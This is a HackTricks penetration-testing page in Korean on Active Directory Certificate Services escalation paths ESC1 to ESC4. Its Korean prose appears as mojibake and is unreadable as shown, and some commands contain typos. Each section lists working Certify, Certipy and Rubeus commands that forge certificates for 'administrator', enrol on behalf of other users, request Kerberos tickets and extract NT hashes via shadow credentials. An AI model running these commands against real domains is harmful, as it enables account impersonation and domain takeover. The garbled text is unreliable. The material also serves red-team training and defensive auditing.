AD CS ๋„๋ฉ”์ธ ๊ถŒํ•œ ์ƒ์Šน

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

์ด ๋ฌธ์„œ๋Š” ๋‹ค์Œ ํฌ์ŠคํŠธ๋“ค์˜ ๊ถŒํ•œ ์ƒ์Šน ๊ธฐ๋ฒ• ์„น์…˜์„ ์š”์•ฝํ•œ ๊ฒƒ์ž…๋‹ˆ๋‹ค:

์ž˜๋ชป ๊ตฌ์„ฑ๋œ ์ธ์ฆ์„œ ํ…œํ”Œ๋ฆฟ - ESC1

์„ค๋ช…

์ž˜๋ชป ๊ตฌ์„ฑ๋œ ์ธ์ฆ์„œ ํ…œํ”Œ๋ฆฟ - ESC1 ์„ค๋ช…

  • Enterprise CA๊ฐ€ ๋‚ฎ์€ ๊ถŒํ•œ์˜ ์‚ฌ์šฉ์ž์—๊ฒŒ ๋“ฑ๋ก(enrolment) ๊ถŒํ•œ์„ ๋ถ€์—ฌํ•œ๋‹ค.
  • ๊ด€๋ฆฌ์ž ์Šน์ธ์ด ํ•„์š”ํ•˜์ง€ ์•Š๋‹ค.
  • ๊ถŒํ•œ ์žˆ๋Š” ๋‹ด๋‹น์ž์˜ ์„œ๋ช…์ด ํ•„์š”ํ•˜์ง€ ์•Š๋‹ค.
  • ์ธ์ฆ์„œ ํ…œํ”Œ๋ฆฟ์˜ Security descriptors๊ฐ€ ์ง€๋‚˜์น˜๊ฒŒ ๊ด€๋Œ€ํ•˜์—ฌ ๋‚ฎ์€ ๊ถŒํ•œ์˜ ์‚ฌ์šฉ์ž๊ฐ€ ๋“ฑ๋ก ๊ถŒํ•œ์„ ์–ป์„ ์ˆ˜ ์žˆ๋‹ค.
  • ์ธ์ฆ์„œ ํ…œํ”Œ๋ฆฟ์ด ์ธ์ฆ์„ ๊ฐ€๋Šฅํ•˜๊ฒŒ ํ•˜๋Š” EKU๋ฅผ ์ •์˜ํ•˜๋„๋ก ๊ตฌ์„ฑ๋˜์–ด ์žˆ๋‹ค:
  • EKU ์‹๋ณ„์ž ์˜ˆ: Client Authentication (OID 1.3.6.1.5.5.7.3.2), PKINIT Client Authentication (1.3.6.1.5.2.3.4), Smart Card Logon (OID 1.3.6.1.4.1.311.20.2.2), Any Purpose (OID 2.5.29.37.0), ๋˜๋Š” EKU ์—†์Œ(SubCA) ๋“ฑ์ด ํฌํ•จ๋œ๋‹ค.
  • ํ…œํ”Œ๋ฆฟ์ด ์š”์ฒญ์ž๊ฐ€ Certificate Signing Request (CSR)์— subjectAltName์„ ํฌํ•จํ•˜๋Š” ๊ฒƒ์„ ํ—ˆ์šฉํ•œ๋‹ค:
  • Active Directory (AD)๋Š” ์ธ์ฆ์„œ์— subjectAltName (SAN)์ด ์žˆ์œผ๋ฉด ์‹๋ณ„ ๊ฒ€์ฆ์„ ์œ„ํ•ด SAN์„ ์šฐ์„ ์‹œํ•œ๋‹ค. ์ด๋Š” CSR์— SAN์„ ์ง€์ •ํ•˜๋ฉด ๋„๋ฉ”์ธ ๊ด€๋ฆฌ์ž์™€ ๊ฐ™์€ ์–ด๋–ค ์‚ฌ์šฉ์ž๋กœ๋„ ๊ฐ€์žฅํ•˜์—ฌ ์ธ์ฆ์„œ๋ฅผ ์š”์ฒญํ•  ์ˆ˜ ์žˆ์Œ์„ ์˜๋ฏธํ•œ๋‹ค. ์š”์ฒญ์ž๊ฐ€ SAN์„ ์ง€์ •ํ•  ์ˆ˜ ์žˆ๋Š”์ง€๋Š” ์ธ์ฆ์„œ ํ…œํ”Œ๋ฆฟ์˜ AD ๊ฐ์ฒด์— ์žˆ๋Š” mspki-certificate-name-flag ์†์„ฑ์œผ๋กœ ํ‘œ์‹œ๋œ๋‹ค. ์ด ์†์„ฑ์€ ๋น„ํŠธ๋งˆ์Šคํฌ์ด๋ฉฐ, CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT ํ”Œ๋ž˜๊ทธ๊ฐ€ ์žˆ์œผ๋ฉด ์š”์ฒญ์ž๊ฐ€ SAN์„ ์ง€์ •ํ•  ์ˆ˜ ์žˆ๋‹ค.

Caution

์œ„์— ์„ค๋ช…๋œ ๊ตฌ์„ฑ์€ ๋‚ฎ์€ ๊ถŒํ•œ์˜ ์‚ฌ์šฉ์ž๊ฐ€ ์ž„์˜์˜ SAN์„ ๊ฐ€์ง„ ์ธ์ฆ์„œ๋ฅผ ์š”์ฒญํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•˜์—ฌ Kerberos ๋˜๋Š” SChannel์„ ํ†ตํ•ด ์–ด๋–ค ๋„๋ฉ”์ธ ์ฃผ์ฒด๋กœ๋„ ์ธ์ฆํ•  ์ˆ˜ ์žˆ๊ฒŒ ๋งŒ๋“ ๋‹ค.

์ด ๊ธฐ๋Šฅ์€ ์ œํ’ˆ์ด๋‚˜ ๋ฐฐํฌ ์„œ๋น„์Šค๊ฐ€ HTTPS ๋˜๋Š” ํ˜ธ์ŠคํŠธ ์ธ์ฆ์„œ๋ฅผ ์ฆ‰์„์—์„œ ์ƒ์„ฑํ•˜๊ธฐ ์œ„ํ•ด, ๋˜๋Š” ์„ค์ •์— ๋Œ€ํ•œ ์ดํ•ด ๋ถ€์กฑ์œผ๋กœ ์ธํ•ด ๋•Œ๋•Œ๋กœ ํ™œ์„ฑํ™”๋œ๋‹ค.

์ด ์˜ต์…˜์œผ๋กœ ์ธ์ฆ์„œ๋ฅผ ์ƒ์„ฑํ•˜๋ฉด ๊ฒฝ๊ณ ๊ฐ€ ๋ฐœ์ƒํ•˜๋Š” ๊ฒƒ์œผ๋กœ ์•Œ๋ ค์ ธ ์žˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ๊ธฐ์กด ์ธ์ฆ์„œ ํ…œํ”Œ๋ฆฟ(์˜ˆ: WebServer ํ…œํ”Œ๋ฆฟโ€”CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT๊ฐ€ ํ™œ์„ฑํ™”๋œ)์ด ๋ณต์ œ๋˜์–ด ์ธ์ฆ OID๋ฅผ ํฌํ•จํ•˜๋„๋ก ์ˆ˜์ •๋œ ๊ฒฝ์šฐ์—๋Š” ๊ฒฝ๊ณ ๊ฐ€ ๋ฐœ์ƒํ•˜์ง€ ์•Š๋Š”๋‹ค.

์•…์šฉ

์ทจ์•ฝํ•œ ์ธ์ฆ์„œ ํ…œํ”Œ๋ฆฟ์„ ์ฐพ์œผ๋ ค๋ฉด ๋‹ค์Œ์„ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๋‹ค:

Certify.exe find /vulnerable
certipy find -username john@corp.local -password Passw0rd -dc-ip 172.16.126.128

์ด ์ทจ์•ฝ์ ์„ ์•…์šฉํ•˜์—ฌ ๊ด€๋ฆฌ์ž๋กœ ๊ฐ€์žฅํ•˜๋ ค๋ฉด ๋‹ค์Œ์„ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๋‹ค:

# Impersonate by setting SAN to a target principal (UPN or sAMAccountName)
Certify.exe request /ca:dc.domain.local-DC-CA /template:VulnTemplate /altname:administrator@corp.local

# Optionally pin the target's SID into the request (post-2022 SID mapping aware)
Certify.exe request /ca:dc.domain.local-DC-CA /template:VulnTemplate /altname:administrator /sid:S-1-5-21-1111111111-2222222222-3333333333-500

# Some CAs accept an otherName/URL SAN attribute carrying the SID value as well
Certify.exe request /ca:dc.domain.local-DC-CA /template:VulnTemplate /altname:administrator \
/url:tag:microsoft.com,2022-09-14:sid:S-1-5-21-1111111111-2222222222-3333333333-500

# Certipy equivalent
certipy req -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' \
-template 'ESC1' -upn 'administrator@corp.local'

๊ทธ๋Ÿฐ ๋‹ค์Œ ์ƒ์„ฑ๋œ ์ธ์ฆ์„œ๋ฅผ .pfx๋กœ ๋ณ€ํ™˜ํ•˜๊ณ  ์ด๋ฅผ ์‚ฌ์šฉํ•ด Rubeus ๋˜๋Š” certipy๋กœ ๋‹ค์‹œ ์ธ์ฆํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

Rubeus.exe asktgt /user:localdomain /certificate:localadmin.pfx /password:password123! /ptt
certipy auth -pfx 'administrator.pfx' -username 'administrator' -domain 'corp.local' -dc-ip 172.16.19.100

Windows ๋ฐ”์ด๋„ˆ๋ฆฌ โ€œCertreq.exeโ€ ๋ฐ โ€œCertutil.exeโ€œ๋Š” PFX๋ฅผ ์ƒ์„ฑํ•˜๋Š” ๋ฐ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: https://gist.github.com/b4cktr4ck2/95a9b908e57460d9958e8238f85ef8ee

AD Forest์˜ ๊ตฌ์„ฑ ์Šคํ‚ค๋งˆ ๋‚ด์—์„œ ์ธ์ฆ์„œ ํ…œํ”Œ๋ฆฟ์„ ์—ด๊ฑฐํ•˜๋Š” ์ž‘์—…์€ ๋‹ค์Œ LDAP ์ฟผ๋ฆฌ๋ฅผ ์‹คํ–‰ํ•˜์—ฌ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ํŠนํžˆ ์Šน์ธ์ด๋‚˜ ์„œ๋ช…์ด ํ•„์š”ํ•˜์ง€ ์•Š๊ณ , Client Authentication ๋˜๋Š” Smart Card Logon EKU๋ฅผ ๊ฐ€์ง€๋ฉฐ, CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT ํ”Œ๋ž˜๊ทธ๊ฐ€ ํ™œ์„ฑํ™”๋œ ํ…œํ”Œ๋ฆฟ์„ ๋Œ€์ƒ์œผ๋กœ ํ•ฉ๋‹ˆ๋‹ค:

(&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2)(pkiextendedkeyusage=1.3.6.1.5.2.3.4)(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*)))(mspkicertificate-name-flag:1.2.840.113556.1.4.804:=1))

์ž˜๋ชป ๊ตฌ์„ฑ๋œ ์ธ์ฆ์„œ ํ…œํ”Œ๋ฆฟ - ESC2

์„ค๋ช…

  1. Enterprise CA์— ์˜ํ•ด ๋‚ฎ์€ ๊ถŒํ•œ์˜ ์‚ฌ์šฉ์ž์—๊ฒŒ ๋“ฑ๋ก(enrollment) ๊ถŒํ•œ์ด ๋ถ€์—ฌ๋œ๋‹ค.
  2. ๊ด€๋ฆฌ์ž ์Šน์ธ ์š”๊ตฌ ์‚ฌํ•ญ์ด ๋น„ํ™œ์„ฑํ™”๋œ๋‹ค.
  3. ๊ถŒํ•œ ์žˆ๋Š” ์„œ๋ช…(authorized signatures)์— ๋Œ€ํ•œ ์š”๊ตฌ๊ฐ€ ์ƒ๋žต๋œ๋‹ค.
  4. certificate template์— ์„ค์ •๋œ ๊ณผ๋„ํ•˜๊ฒŒ ๊ด€๋Œ€ํ•œ security descriptor๊ฐ€ ๋‚ฎ์€ ๊ถŒํ•œ์˜ ์‚ฌ์šฉ์ž์—๊ฒŒ ์ธ์ฆ์„œ ๋“ฑ๋ก ๊ถŒํ•œ์„ ๋ถ€์—ฌํ•œ๋‹ค.
  5. certificate template๊ฐ€ Any Purpose EKU๋ฅผ ํฌํ•จํ•˜๊ฑฐ๋‚˜ EKU๊ฐ€ ์—†๋„๋ก ์ •์˜๋˜์–ด ์žˆ๋‹ค.

Any Purpose EKU๋Š” ๊ณต๊ฒฉ์ž๊ฐ€ ํด๋ผ์ด์–ธํŠธ ์ธ์ฆ, ์„œ๋ฒ„ ์ธ์ฆ, ์ฝ”๋“œ ์„œ๋ช… ๋“ฑ๊ณผ ๊ฐ™์€ ๋ชจ๋“  ๋ชฉ์ (any purpose)์œผ๋กœ ์ธ์ฆ์„œ๋ฅผ ํš๋“ํ•  ์ˆ˜ ์žˆ๋„๋ก ํ—ˆ์šฉํ•œ๋‹ค. ์ด ์‹œ๋‚˜๋ฆฌ์˜ค๋ฅผ ์•…์šฉํ•˜๋Š” ๋ฐ๋Š” ESC3์—์„œ ์‚ฌ์šฉ๋œ ๋™์ผํ•œ ๊ธฐ๋ฒ•์„ ์ด์šฉํ•  ์ˆ˜ ์žˆ๋‹ค.

EKU๊ฐ€ ์—†๋Š”(no EKUs) ์ธ์ฆ์„œ๋Š” ํ•˜์œ„ CA ์ธ์ฆ์„œ๋กœ ๋™์ž‘ํ•˜๋ฉฐ ์–ด๋–ค ๋ชฉ์ ์œผ๋กœ๋“  ์•…์šฉ๋  ์ˆ˜ ์žˆ๊ณ  ์ƒˆ ์ธ์ฆ์„œ ์„œ๋ช…์—๋„ ์‚ฌ์šฉ๋  ์ˆ˜ ์žˆ๋‹ค. ๋”ฐ๋ผ์„œ ๊ณต๊ฒฉ์ž๋Š” ํ•˜์œ„ CA ์ธ์ฆ์„œ๋ฅผ ์ด์šฉํ•ด ์ƒˆ ์ธ์ฆ์„œ์— ์ž„์˜์˜ EKU๋‚˜ ํ•„๋“œ๋ฅผ ์ง€์ •ํ•  ์ˆ˜ ์žˆ๋‹ค.

๋‹ค๋งŒ, ํ•˜์œ„ CA๊ฐ€ ๊ธฐ๋ณธ ์„ค์ •์ธ NTAuthCertificates ๊ฐ์ฒด์—์„œ ์‹ ๋ขฐ๋˜์ง€ ์•Š๋Š”๋‹ค๋ฉด domain authentication ์šฉ๋„๋กœ ์ƒ์„ฑ๋œ ์ƒˆ ์ธ์ฆ์„œ๋Š” ์ž‘๋™ํ•˜์ง€ ์•Š๋Š”๋‹ค. ๊ทธ๋Ÿผ์—๋„ ๊ณต๊ฒฉ์ž๋Š” ์—ฌ์ „ํžˆ ์ž„์˜์˜ EKU๋ฅผ ๊ฐ€์ง„ ์ƒˆ ์ธ์ฆ์„œ์™€ ์ž„์˜์˜ ์ธ์ฆ์„œ ๊ฐ’์„ ์ƒ์„ฑํ•  ์ˆ˜ ์žˆ๋‹ค. ์ด๋Ÿฌํ•œ ์ธ์ฆ์„œ๋Š” (์˜ˆ: ์ฝ”๋“œ ์„œ๋ช…, ์„œ๋ฒ„ ์ธ์ฆ ๋“ฑ) ๋‹ค์–‘ํ•œ ๋ชฉ์ ์— ์ž ์žฌ์ ์œผ๋กœ ์•…์šฉ๋  ์ˆ˜ ์žˆ์œผ๋ฉฐ SAML, AD FS, ๋˜๋Š” IPSec ๊ฐ™์€ ๋„คํŠธ์›Œํฌ ๋‚ด ๋‹ค๋ฅธ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์— ์ค‘๋Œ€ํ•œ ์˜ํ–ฅ์„ ๋ฏธ์น  ์ˆ˜ ์žˆ๋‹ค.

AD Forest์˜ ๊ตฌ์„ฑ ์Šคํ‚ค๋งˆ ๋‚ด์—์„œ ์ด ์‹œ๋‚˜๋ฆฌ์˜ค์™€ ์ผ์น˜ํ•˜๋Š” ํ…œํ”Œ๋ฆฟ์„ ๋‚˜์—ดํ•˜๋ ค๋ฉด, ๋‹ค์Œ LDAP ์ฟผ๋ฆฌ๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๋‹ค:

(&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))

์ž˜๋ชป ๊ตฌ์„ฑ๋œ Enrolment Agent ํ…œํ”Œ๋ฆฟ - ESC3

์„ค๋ช…

์ด ์‹œ๋‚˜๋ฆฌ์˜ค๋Š” ์ฒซ ๋ฒˆ์งธ ๋ฐ ๋‘ ๋ฒˆ์งธ ์‹œ๋‚˜๋ฆฌ์˜ค์™€ ์œ ์‚ฌํ•˜์ง€๋งŒ ๋‹ค๋ฅธ EKU(Certificate Request Agent)๋ฅผ ์•…์šฉํ•˜๊ณ  ์„œ๋กœ ๋‹ค๋ฅธ 2๊ฐœ์˜ ํ…œํ”Œ๋ฆฟ์„ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค(๋”ฐ๋ผ์„œ ์š”๊ตฌ์‚ฌํ•ญ ์„ธํŠธ๋„ 2๊ฐœ์ž…๋‹ˆ๋‹ค).

Certificate Request Agent EKU (OID 1.3.6.1.4.1.311.20.2.1)๋Š” Microsoft ๋ฌธ์„œ์—์„œ Enrollment Agent๋กœ ์•Œ๋ ค์ ธ ์žˆ์œผ๋ฉฐ, ์ฃผ์ฒด๊ฐ€ ๋‹ค๋ฅธ ์‚ฌ์šฉ์ž๋ฅผ ๋Œ€์‹ ํ•˜์—ฌ certificate์— enrollํ•  ์ˆ˜ ์žˆ๋„๋ก ํ•ฉ๋‹ˆ๋‹ค.

**โ€œenrollment agentโ€**๋Š” ํ•ด๋‹น template์— enrollํ•˜๊ณ , ์ƒ์„ฑ๋œ certificate๋ฅผ ์‚ฌ์šฉํ•ด **๋‹ค๋ฅธ ์‚ฌ์šฉ์ž๋ฅผ ๋Œ€์‹ ํ•˜์—ฌ CSR์— ๊ณต๋™ ์„œ๋ช…(co-sign)**ํ•ฉ๋‹ˆ๋‹ค. ๊ทธ ํ›„ ๊ณต๋™ ์„œ๋ช…๋œ CSR์„ CA์— ์ „์†กํ•˜๊ณ , CA์—์„œ โ€œenroll on behalf ofโ€๋ฅผ ํ—ˆ์šฉํ•˜๋Š” template์— ๋“ฑ๋กํ•˜๋ฉด CA๋Š” โ€œ๋‹ค๋ฅธโ€ ์‚ฌ์šฉ์ž์— ์†ํ•˜๋Š” certificate๋ฅผ ๋ฐœ๊ธ‰ํ•ฉ๋‹ˆ๋‹ค.

Requirements 1:

  • Enterprise CA๊ฐ€ ๊ถŒํ•œ์ด ๋‚ฎ์€ ์‚ฌ์šฉ์ž์—๊ฒŒ enrollment ๊ถŒํ•œ์„ ๋ถ€์—ฌํ•ฉ๋‹ˆ๋‹ค.
  • ๊ด€๋ฆฌ์ž ์Šน์ธ ์š”๊ตฌ๊ฐ€ ์ƒ๋žต๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค.
  • ๊ถŒํ•œ ์žˆ๋Š” ์„œ๋ช…(authorized signatures)์— ๋Œ€ํ•œ ์š”๊ตฌ๊ฐ€ ์—†์Šต๋‹ˆ๋‹ค.
  • certificate template์˜ security descriptor๊ฐ€ ์ง€๋‚˜์น˜๊ฒŒ ๊ด€๋Œ€ํ•˜์—ฌ ๊ถŒํ•œ์ด ๋‚ฎ์€ ์‚ฌ์šฉ์ž์—๊ฒŒ enrollment ๊ถŒํ•œ์„ ๋ถ€์—ฌํ•ฉ๋‹ˆ๋‹ค.
  • certificate template์— Certificate Request Agent EKU๊ฐ€ ํฌํ•จ๋˜์–ด ์žˆ์–ด ๋‹ค๋ฅธ ์ฃผ์ฒด๋ฅผ ๋Œ€์‹ ํ•˜์—ฌ ๋‹ค๋ฅธ certificate template์„ ์š”์ฒญํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Requirements 2:

  • Enterprise CA๊ฐ€ ๊ถŒํ•œ์ด ๋‚ฎ์€ ์‚ฌ์šฉ์ž์—๊ฒŒ enrollment ๊ถŒํ•œ์„ ๋ถ€์—ฌํ•ฉ๋‹ˆ๋‹ค.
  • ๊ด€๋ฆฌ์ž ์Šน์ธ์ด ์šฐํšŒ๋ฉ๋‹ˆ๋‹ค.
  • ํ…œํ”Œ๋ฆฟ์˜ schema version์ด 1์ด๊ฑฐ๋‚˜ 2๋ฅผ ์ดˆ๊ณผํ•˜๋ฉฐ, Application Policy Issuance Requirement๋ฅผ ์ง€์ •ํ•˜๊ณ  ๊ทธ ์š”๊ตฌ์‚ฌํ•ญ์— Certificate Request Agent EKU๊ฐ€ ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค.
  • certificate template์— ์ •์˜๋œ EKU ์ค‘ ํ•˜๋‚˜๊ฐ€ ๋„๋ฉ”์ธ ์ธ์ฆ(domain authentication)์„ ํ—ˆ์šฉํ•ฉ๋‹ˆ๋‹ค.
  • enrollment agent์— ๋Œ€ํ•œ ์ œํ•œ์ด CA์— ์ ์šฉ๋˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค.

์•…์šฉ

You can use Certify or Certipy to abuse this scenario:

# Request an enrollment agent certificate
Certify.exe request /ca:DC01.DOMAIN.LOCAL\DOMAIN-CA /template:Vuln-EnrollmentAgent
certipy req -username john@corp.local -password Passw0rd! -target-ip ca.corp.local' -ca 'corp-CA' -template 'templateName'

# Enrollment agent certificate to issue a certificate request on behalf of
# another user to a template that allow for domain authentication
Certify.exe request /ca:DC01.DOMAIN.LOCAL\DOMAIN-CA /template:User /onbehalfof:CORP\itadmin /enrollment:enrollmentcert.pfx /enrollcertpwd:asdf
certipy req -username john@corp.local -password Pass0rd! -target-ip ca.corp.local -ca 'corp-CA' -template 'User' -on-behalf-of 'corp\administrator' -pfx 'john.pfx'

# Use Rubeus with the certificate to authenticate as the other user
Rubeu.exe asktgt /user:CORP\itadmin /certificate:itadminenrollment.pfx /password:asdf

users๊ฐ€ enrollment agent certificate์„ obtainํ•  ์ˆ˜ ์žˆ๋Š”์ง€, enrollment agents๊ฐ€ ๋“ฑ๋กํ•  ์ˆ˜ ์žˆ๋Š” ํ…œํ”Œ๋ฆฟ, ๊ทธ๋ฆฌ๊ณ  enrollment agent๊ฐ€ ๋Œ€ํ–‰ํ•  ์ˆ˜ ์žˆ๋Š” accounts๋Š” ์—”ํ„ฐํ”„๋ผ์ด์ฆˆ CA์—์„œ ์ œํ•œํ•  ์ˆ˜ ์žˆ๋‹ค. ์ด๋Š” certsrc.msc snap-in์„ ์—ด๊ณ , CA๋ฅผ ์šฐํด๋ฆญํ•œ ๋’ค Properties๋ฅผ ํด๋ฆญํ•˜๊ณ  โ€œEnrollment Agentsโ€ ํƒญ์œผ๋กœ navigatingํ•˜๋ฉด ๋œ๋‹ค.

๊ทธ๋Ÿฌ๋‚˜ CA์˜ default ์„ค์ •์€ โ€œDo not restrict enrollment agents.โ€๋กœ ๋˜์–ด ์žˆ๋Š” ์ ์— ์œ ์˜ํ•ด์•ผ ํ•œ๋‹ค. ๊ด€๋ฆฌ์ž๊ฐ€ enrollment agents์— ๋Œ€ํ•œ ์ œํ•œ์„ ํ™œ์„ฑํ™”ํ•˜์—ฌ โ€œRestrict enrollment agentsโ€๋กœ ์„ค์ •ํ•˜๋”๋ผ๋„, ๊ธฐ๋ณธ ๊ตฌ์„ฑ์€ ์—ฌ์ „ํžˆ ๋งค์šฐ ๊ด€๋Œ€ํ•˜๋‹ค. ์ด๋Š” Everyone์ด ๋ชจ๋“  ํ…œํ”Œ๋ฆฟ์— ๋Œ€ํ•ด ๋ˆ„๊ตฌ๋กœ๋“  ๋“ฑ๋ก(enroll)ํ•  ์ˆ˜ ์žˆ๋„๋ก ํ—ˆ์šฉํ•œ๋‹ค.

์ทจ์•ฝํ•œ ์ธ์ฆ์„œ ํ…œํ”Œ๋ฆฟ ์ ‘๊ทผ ์ œ์–ด - ESC4

์„ค๋ช…

**๋ณด์•ˆ ์„ค๋ช…์ž(security descriptor)**๋Š” **์ธ์ฆ์„œ ํ…œํ”Œ๋ฆฟ(certificate templates)**์— ๋Œ€ํ•ด ํŠน์ • **AD ์ฃผ์ฒด(AD principals)**๊ฐ€ ๋ณด์œ ํ•œ **๊ถŒํ•œ(permissions)**์„ ์ •์˜ํ•œ๋‹ค.

๋งŒ์•ฝ **๊ณต๊ฒฉ์ž(attacker)**๊ฐ€ **ํ…œํ”Œ๋ฆฟ(template)**์„ **์ˆ˜์ •(alter)**ํ•˜๊ณ  ์ด์ „ ์„น์…˜์—์„œ ์„ค๋ช…ํ•œ ์–ด๋–ค **์ทจ์•ฝํ•˜๊ฒŒ ํ™œ์šฉ ๊ฐ€๋Šฅํ•œ ๊ตฌ์„ฑ(exploitable misconfigurations)**์„ **์ ์šฉ(institute)**ํ•  ๊ถŒํ•œ์„ ๊ฐ€์ง€๊ณ  ์žˆ๋‹ค๋ฉด, ๊ถŒํ•œ ์ƒ์Šน(privilege escalation)์ด ๊ฐ€๋Šฅํ•ด์งˆ ์ˆ˜ ์žˆ๋‹ค.

์ธ์ฆ์„œ ํ…œํ”Œ๋ฆฟ์— ์ ์šฉ๋  ์ˆ˜ ์žˆ๋Š” ์ฃผ์š” ๊ถŒํ•œ์€ ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค:

  • Owner: ๊ฐ์ฒด์— ๋Œ€ํ•œ ์•”๋ฌต์  ์ œ์–ด๊ถŒ์„ ๋ถ€์—ฌํ•˜์—ฌ, ๋ชจ๋“  ์†์„ฑ์„ ์ˆ˜์ •ํ•  ์ˆ˜ ์žˆ๋‹ค.
  • FullControl: ๊ฐ์ฒด์— ๋Œ€ํ•œ ์™„์ „ํ•œ ๊ถŒํ•œ์„ ๋ถ€์—ฌํ•˜์—ฌ ๋ชจ๋“  ์†์„ฑ์„ ๋ณ€๊ฒฝํ•  ์ˆ˜ ์žˆ๋‹ค.
  • WriteOwner: ๊ฐ์ฒด์˜ ์†Œ์œ ์ž๋ฅผ ๊ณต๊ฒฉ์ž๊ฐ€ ์ œ์–ดํ•˜๋Š” ์ฃผ์ฒด๋กœ ๋ณ€๊ฒฝํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•œ๋‹ค.
  • WriteDacl: ์ ‘๊ทผ ์ œ์–ด๋ฅผ ์กฐ์ •ํ•˜์—ฌ ๊ณต๊ฒฉ์ž์—๊ฒŒ FullControl์„ ๋ถ€์—ฌํ•  ๊ฐ€๋Šฅ์„ฑ์„ ๋งŒ๋“ ๋‹ค.
  • WriteProperty: ๊ฐ์ฒด์˜ ์–ด๋–ค ์†์„ฑ์ด๋ผ๋„ ํŽธ์ง‘ํ•  ์ˆ˜ ์žˆ๋Š” ๊ถŒํ•œ์„ ํ—ˆ์šฉํ•œ๋‹ค.

์•…์šฉ

ํ…œํ”Œ๋ฆฟ ๋ฐ ๊ธฐํƒ€ PKI ๊ฐ์ฒด์— ๋Œ€ํ•ด ํŽธ์ง‘ ๊ถŒํ•œ์„ ๊ฐ€์ง„ ์ฃผ์ฒด๋“ค์„ ์‹๋ณ„ํ•˜๋ ค๋ฉด, Certify๋กœ ์—ด๊ฑฐ(enumerate)ํ•˜๋ผ:

Certify.exe find /showAllPermissions
Certify.exe pkiobjects /domain:corp.local /showAdmins

์•ž์˜ ์˜ˆ์™€ ์œ ์‚ฌํ•œ privesc์˜ ์˜ˆ:

ESC4๋Š” user๊ฐ€ certificate template์— ๋Œ€ํ•ด write privileges๋ฅผ ๊ฐ€์ง„ ๊ฒฝ์šฐ์ž…๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด, ์ด๋Š” certificate template์˜ ๊ตฌ์„ฑ์„ ๋ฎ์–ด์จ์„œ ํ•ด๋‹น template์„ ESC1์— ์ทจ์•ฝํ•˜๊ฒŒ ๋งŒ๋“œ๋Š” ๋ฐ ์•…์šฉ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์œ„ ๊ฒฝ๋กœ์—์„œ ์•Œ ์ˆ˜ ์žˆ๋“ฏ์ด, ์˜ค์ง JOHNPC๋งŒ์ด ์ด๋Ÿฌํ•œ ๊ถŒํ•œ์„ ๊ฐ€์ง€๊ณ  ์žˆ์ง€๋งŒ, ์šฐ๋ฆฌ user JOHN์€ JOHNPC๋กœ ํ–ฅํ•˜๋Š” ์ƒˆ๋กœ์šด AddKeyCredentialLink edge๋ฅผ ๊ฐ€์ง€๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ๊ธฐ๋ฒ•์ด ์ธ์ฆ์„œ์™€ ๊ด€๋ จ๋˜์–ด ์žˆ๊ธฐ ๋•Œ๋ฌธ์—, ์ €๋Š” ์ด ๊ณต๊ฒฉ๋„ ๊ตฌํ˜„ํ–ˆ์Šต๋‹ˆ๋‹ค. ์ด๋Š” Shadow Credentials๋กœ ์•Œ๋ ค์ ธ ์žˆ์Šต๋‹ˆ๋‹ค. ๋‹ค์Œ์€ ํ”ผํ•ด์ž์˜ NT hash๋ฅผ ์–ป๊ธฐ ์œ„ํ•œ Certipy์˜ shadow auto ๋ช…๋ น์˜ ๋ฏธ๋ฆฌ๋ณด๊ธฐ์ž…๋‹ˆ๋‹ค.

certipy shadow auto 'corp.local/john:Passw0rd!@dc.corp.local' -account 'johnpc'

